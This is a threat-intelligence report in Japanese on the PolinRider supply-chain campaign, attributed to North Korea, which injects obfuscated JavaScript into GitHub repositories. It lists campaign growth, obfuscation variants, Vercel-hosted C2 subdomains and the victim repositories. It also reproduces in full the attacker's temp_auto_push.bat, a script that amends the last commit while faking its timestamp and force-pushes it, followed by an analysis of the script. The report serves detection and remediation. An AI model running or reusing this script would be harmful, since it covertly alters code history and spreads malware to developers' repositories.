
DPRK関連のPolinRiderサプライチェーン攻撃に関する技術資料。難読化されたJSペイロードインジェクション、git履歴の改ざん、C2インフラストラクチャ、および1,951件の侵害リポジトリに対する修復ガイダンスを文書化。

OpenSourceMalwareチームは、GitHubユーザーおよび組織のリポジトリにマルウェアを埋め込む大規模な脅威キャンペーンを発見しました。脅威アクターPolinRiderは、数百の固有の所有者に属する数百の公開GitHubリポジトリに悪意のある難読化されたJavaScriptペイロードを埋め込みました。#polinriderタグを使用してこのキャンペーンに関連するすべての脅威レポートを表示し、このブログの最後にある侵害されたリポジトリのリスト(即時対応が推奨されるものを含む)にジャンプしてください。タグが最新データを取得する最良の方法であることに留意してください。
JavaScriptペイロードは、実際のプロジェクト設定ファイルの末尾に追加されます。ファイルの正当な内容の後に静かに追加されるため、カジュアルなコードレビューでは見逃されやすいです。主な感染ベクトルは、インストール時またはビルド時に実行され、プロジェクトルートの設定ファイルに自身を注入する侵害されたnpmパッケージであると思われます。さらに悪いことに、この脅威アクターは同じ手法を使用して悪意のあるNPMパッケージも作成しています。
この攻撃は非常に成功しており、侵害されたオープンソースプロジェクトの1つであるNeutralinojsが、そのユーザーやコントリビューターの数百にマルウェアを拡散しました。Neutralinojsは、8400スター、495フォーク、数十人のアクティブなコントリビューターを持つ非常に人気のあるプロジェクトです。これがこの種の攻撃の力です。脅威は最初のGitHubリポジトリに限定されず、そのオープンソースを使用する他のすべてのプロジェクトにも拡大します。
OpenSourceMalwareチームは、このキャンペーンを北朝鮮(DPRK)に帰属させました。脅威アクターPolinRiderは、Lazarusグループの既知の協力者であり、「Contagious Interview」および「TasksJacker」キャンペーンとの関連があります。
このキャンペーンは初公開以来劇的に拡大しています。2026年4月11日現在、OSMチームは1,047の固有の所有者に属する1,951の公開GitHubリポジトリが侵害されたことを確認しています。これは初公開日(3月8日:675リポジトリ/352所有者)から5週間で2.9倍の増加です。
| 指標 | 3月8日(初期) | 4月11日(最新) | 変化量 |
|---|---|---|---|
| 感染したユニークリポジトリ数 | 675 | 1,951 | +1,276 |
| 影響を受けたユニークオーナー数 | 352 | 1,047 | +695 |
| — 個人ユーザー | 305 | ~930 | +625 |
| — 組織 | 47 | ~117 | +70 |
| 観測された個別の難読化バリアント | 1 (rmcej%otb%) | 2 (rmcej%otb% + Cot%3t=shtP) | +1 |
| 確認された個別の注入ベクトル | 1 (設定ファイル) | 4 (設定ファイル, .vscode/tasks.json, 偽の.woff2フォント, 悪意のあるnpm依存関係) | +3 |
| 文書化された個別のC2サブドメイン | 1 (260120.vercel.app) | 6以上 (C2インフラストラクチャを参照) | +5 |
| 既知の武器化された持ち帰りテンプレート | 0 | 2以上 (ShoeVista, StakingGame) | +2 |

2026年4月10日に開始され、2026年4月11日まで続いたフォローアップハントで、OSMチームはいくつかの主要な発見を行いました:
キャンペーンは5週間で2倍以上に拡大しました。 GitHub Code SearchとSourcegraph(APIの1000件上限を超えた精緻化 — 下記の方法論を参照)によるクロスエンジン列挙により、初日にv3マスターで1,556のユニークな侵害リポジトリが浮上しました。2日目のラウンド2ハントでは、npmパッケージ名のピボット、VS Code tasks.json / クラウドプロバイダーピボット、新たに発見されたdefault-configuration.vercel.app C2サブドメインを使用して、さらに215の新しいリポジトリを追加しました。既存のaffected_repos.csvコーパスに対して重複排除を行った結果、真の既知の範囲は現在1,951のユニークな被害リポジトリ / 1,047のユニークなオーナーとなっています。
新しいバリアントが観測されました。 PolinRiderは、アーキテクチャを維持しながら難読化のユニークなフィンガープリントをすべてローテーションしました。新しいバリアントはシグネチャマーカーCot%3t=shtP(以前はrmcej%otb%)、シャッフルシード1111436(以前は2857687)、セカンダリシード3896884(以前は2667686)、デコーダ関数名MDy(以前は_$_1e42)を使用しています。このローテーションは、公開されたrmcej_otb_payload YARAルールに対する回避応答と思われます。両方のバリアントが現在実際に活動中です。以下の新バリアント: Cot%3t=shtPを参照してください。
脅威アクターは以前の被害者に再感染しています。 少なくとも1つの被害リポジトリ(HassanHabibTahir/testclient)には、両方のバリアントのマーカーが異なるファイルに含まれており、アクターのツールが以前侵害されたホストに対して再実行され、新しい難読化を注入していることを示しています。
PolinRiderとTasksJackerは運用面で統合されました。 現在、同じ脅威アクターが同じ被害者集団に対して、設定ファイル注入と.vscode/tasks.json curl-to-shell感染ベクトルの両方を実行している直接的な証拠があります。101のtemp_auto_push.bat伝搬スクリプト被害者のうち22が悪意のある.vscode/tasks.jsonファイルも持っており、複数の武器化された持ち帰り/偽インタビューテンプレートプロジェクトが特定されています — 以下の武器化された持ち帰りテンプレートを参照。OSMは今後、2つのクラスターを#polinriderの下に統合しています。
2つの武器化された持ち帰りテストプロジェクトが特定されました: ShoeVista(悪意のあるtailwindcss-style-animate ^1.1.6をclient/package.jsonに同梱する偽のTailwind e-commerce評価)とStakingGame(tasks.json内のUUID e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9で特定される偽のブロックチェーン/VS Code自動化プロジェクト)。少なくとも46人+42人の開発者がこれらのテストを試み、侵害されました。Contagious Interviewの誘惑プレイブックの一部。
5つの新しいC2サブドメインが発見されました。これらは.vscode/tasks.jsonのcurl | bashペイロードで使用されており、すべてVercelでホストされています。
default-configuration.vercel.app(最も使用されている、約106件の被害者参照)vscode-settings-bootstrap.vercel.appvscode-settings-config.vercel.appvscode-bootstrapper.vercel.appvscode-load-config.vercel.appすべてがパターン https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N> に従っています。C2インフラストラクチャセクションに追加されました。
OSMはこの2日間のハントで821件の新しい脅威レポートを提出し、OSM PolinRiderエントリの総数は約1,700件になりました。821件の提出のバリアント内訳: 591件の元のバリアント(rmcej%otb%)、113件の伝搬のみ(temp_auto_push.bat)、45件のmalicious_npm(ShoeVista/devhireクラスター)、27件のtasksjacker、1件の新しいバリアント(Cot%3t=shtP)、44件のその他。
JSペイロードがクリーンアップされた後でも被害者を見つける新しい高収率な検索ピボットが特定されました。最も強力なものはfilename:temp_auto_push.bat(101件の悪性確認結果、100%真陽性率)と"default-configuration.vercel.app"(106ヒット)です。44件のランダム検証におけるサンプル偽陽性率は0%でした。精緻化方法論を参照。
新しい注入ベクトルが確認されました。少なくとも1人の被害者(AgbaD/odoo)が、Nodeを介して実行される.woff2フォントファイル(public/fonts/fa-solid-400.woff2)に難読化されたJSペイロードを隠していました。これはキャンペーンが同じターゲットに対して複数の注入ベクトルを使用していることを確認しています。
3つ目の難読化バリアントは見つかりませんでした。 global['?']マーカー、シードの組み合わせ、構造パターン、IOCリテラル、およびSourcegraph正規表現による'8-stN'タグ1~200の網羅的な調査により、すでに文書化された2つのバリアントを超える3つ目のバリアントの証拠は見つかりませんでした。アクターの新しいバリアントバッチは8-st1..8-st59に制限されています(Sourcegraphのインデックスに21の連番が欠落しています)。
完全なv3 + ラウンド2のハントレポートとマスターTSVはreports/にあります。
脅威アクターは盗まれたGitHub認証情報を使用していません。代わりに、被害者は悪意のあるVS Code拡張機能またはNPMパッケージを介して侵害されました。初期ベクトルが何であるかはまだわかりませんが、フォレンジック証拠からそれが何を行うかはわかっています。
最初に行われることは、マルウェアがローカルコンピュータ上で特定のファイルを検索する関数を実行することです。例えば:
これらのファイルのいずれかを見つけた場合、そのファイルの末尾に高度に難読化された悪意のあるJavaScriptコードを追加します。次に、マルウェアはtemp_auto_push.batという名前のWindowsバッチファイルをインストールします。このファイルが存在し、その機能は、脅威アクターが数百の侵害されたサーバーに残しているため、研究者が検索するためのフィンガープリントを提供するため、わかっています。以下にバッチファイルの全文を示します:
@echo off
for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%Y-%%m-%%d --format=%%cd"') do set LAST_COMMIT_DATE=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%H:%%M:%%S --format=%%cd"') do set LAST_COMMIT_TIME=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%s"') do set LAST_COMMIT_TEXT=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%an"') do set USER_NAME=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%ae"') do set USER_EMAIL=%%A
for /f "delims=" %%A in ('git rev-parse --abbrev-ref HEAD') do set CURRENT_BRANCH=%%A
echo %LAST_COMMIT_DATE% %LAST_COMMIT_TIME%
echo %LAST_COMMIT_TEXT%
echo %USER_NAME% (%USER_EMAIL%)
echo Branch: %CURRENT_BRANCH%
set CURRENT_DATE=%date%
set CURRENT_TIME=%time%
date %LAST_COMMIT_DATE%
time %LAST_COMMIT_TIME%
echo Date temporarily changed to %LAST_COMMIT_DATE% %LAST_COMMIT_TIME%
git config --local user.name %USER_NAME%
git config --local user.email %USER_EMAIL%
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
date %CURRENT_DATE%
time %CURRENT_TIME%
echo Date restored to %CURRENT_DATE% %CURRENT_TIME% and complete amend last commit!
git push -uf origin %CURRENT_BRANCH% --no-verify
@echo on
```
### バッチファイル分析
このバッチファイルは、**最新のGitコミットを元のタイムスタンプを保持したまま書き換え**ます。これにより、修正されたコミットがあたかも一切変更されていないかのように見えます。
#### フェーズ1: 最終コミットのメタデータを抽出
`git log -1` を5回実行して、最後のコミットの詳細を環境変数に取り込みます:
| 変数 | 取得する値 |
|---|---|
| `LAST_COMMIT_DATE` | 最終コミットの日付 (YYYY-MM-DD) |
| `LAST_COMMIT_TIME` | 最終コミットの時刻 (HH:MM:SS) |
| `LAST_COMMIT_TEXT` | コミットメッセージ |
| `USER_NAME` | 作成者名 |
| `USER_EMAIL` | 作成者のメールアドレス |
| `CURRENT_BRANCH` | 現在のブランチ名 |
#### フェーズ2: 抽出した情報を表示
コンソールにそれらの値を表示し、処理を進める前に何が取得されたかを確認できるようにします。
#### フェーズ3: タイムスタンプのトリック(核心操作)
1. 現在のシステム日時を変数に保存
2. **Windowsのシステムクロック**を最終コミットの日時に変更
3. ローカルのGit `user.name` と `user.email` を元のコミットの作成者に合わせて設定